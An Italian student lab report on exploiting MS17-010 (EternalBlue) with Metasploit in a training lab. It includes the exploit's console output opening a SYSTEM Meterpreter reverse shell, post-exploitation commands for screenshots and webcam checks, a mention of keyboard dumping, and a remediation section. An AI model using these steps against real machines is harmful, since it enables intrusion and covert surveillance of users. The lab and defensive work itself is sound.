CONSEGNA W17D2

Traccia: Sulla base di quanto visto, viene richiesto allo studente di ottenere una sessione di Meterpreter sul target Windows sfruttando con Metasploit la vulnerabilità MS17-010.
Una volta ottenuta la sessione, lo studente dovrà:
●Recuperare uno screenshot tramite la sessione Meterpreter
● Individuare la presenza o meno di Webcam sulla macchina Windows
●Accedere a webcam/fare dump della tastiera/provare altro

Facoltativo: Formulare delle ipotesi di remediation per la vulnerabilità MS17-010. Ad esempio:
● Possiamo risolvere in qualche modo? Se si, con quale effort?
● Possiamo risolvere solo la vulnerabilità?
● Possiamo limitare l'accesso e gli spostamenti dell'attaccante una volta penetrato nel sistema?

Dopo aver visto che le macchine comunicano attraverso il ping dell'IP, e usato il comando nmap (per stabilire vari dettagli del target. Avviamo poi su Kali msfconsole per usare un exploit con il quale entrare all'interno del windows. Nel nostro caso cerchiamo tutte le vulnerabilità contenti MS17. Dopo aver attenuto l'accesso continuiamo con l'esercitazione per fare uno screenshot prima e per vedere poi se sono presenti webcam collegate al target. Come vediamo dalla figura seguente notiamo come questo secondo comando ci da esito negativo.

```
[*] Shutting down session: 1

[*] 192.168.50.103 - Meterpreter session 1 closed.  Reason: Died
msf exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.103:445 - Target OS: Windows 5.1
[*] 192.168.50.103:445 - Filling barrel with fish ... done
[*] 192.168.50.103:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.50.103:445 -        [*] Preparing dynamite ...
[*] 192.168.50.103:445 -                [*] Trying stick 1 (x86) ... Boom!
[*] 192.168.50.103:445 -        [+] Successfully Leaked Transaction!
[*] 192.168.50.103:445 -        [+] Successfully caught Fish-in-a-barrel
[*] 192.168.50.103:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.50.103:445 - Reading from CONNECTION struct at: 0x89fdfda8
[*] 192.168.50.103:445 - Built a write-what-where primitive ...
[+] 192.168.50.103:445 - Overwrite complete ... SYSTEM session obtained!
[*] 192.168.50.103:445 - Selecting native target
[*] 192.168.50.103:445 - Uploading payload ... HHJjjfiB.exe
[*] 192.168.50.103:445 - Created \HHJjjfiB.exe ...
[+] 192.168.50.103:445 - Service started successfully ...
[*] 192.168.50.103:445 - Deleting \HHJjjfiB.exe ...
[*] Sending stage (177734 bytes) to 192.168.50.103
[*] Meterpreter session 2 opened (192.168.50.100:4444 → 192.168.50.103:1032) at 2025-11-02 18:49:44 +0100

meterpreter > screenshot
Screenshot saved to: /home/kali/YHMJKybP.jpeg
meterpreter > webcam_list
[-] No webcams were found
```

Proviamo poi tra gli altri comandi ad esempio "ps" così da vedere tutti i programmi attivi in questo momento sulla macchina target.
O "sysinfo" per vedere il target che sistema operativo usa, con che lingua gira il sistema

PARTE FACOLTATIVA
Come mostrato da noi in precedenza sappiamo che MS17-010 è una vulnerabilità critica del protocollo SMBv1 di Windows, sfruttata da un exploit come EternalBlue. Exploit che permette l'esecuzione di codice da remoto senza bisogno di autenticazione. Sappiamo inoltre che questa falla era presente su dispositivi quali Windows XP e Windows 7.

Sappiamo che Microsoft ha rilasciato una patch ufficiale la KB4013389 nel 2017 e che è compatibile con i sistemi Windows 7.

Un metodo alternativo è disabilitare SMBv1, valido per tutti i dispositivi per i quali non è possibile attuare l'aggiornamento come ad esempio tutti i dispositivi XP, bloccare inoltre la porta 445 attraverso regole firewall.
Altra pratica molto utile per limitare i danni di questo genere di exploit è limitare i permessi che gli utenti possono arrivare ad ottenere quindi limitando i processi attuabili da questi ultimi senza permesso. Possiamo inoltre anche monitorare gli accessi che vengono effettuati sulla macchina, verificare se vengono attivati processi sospetti
Infine isolare la macchina dalla rete in modo che non possa far raggiungere le altre macchine.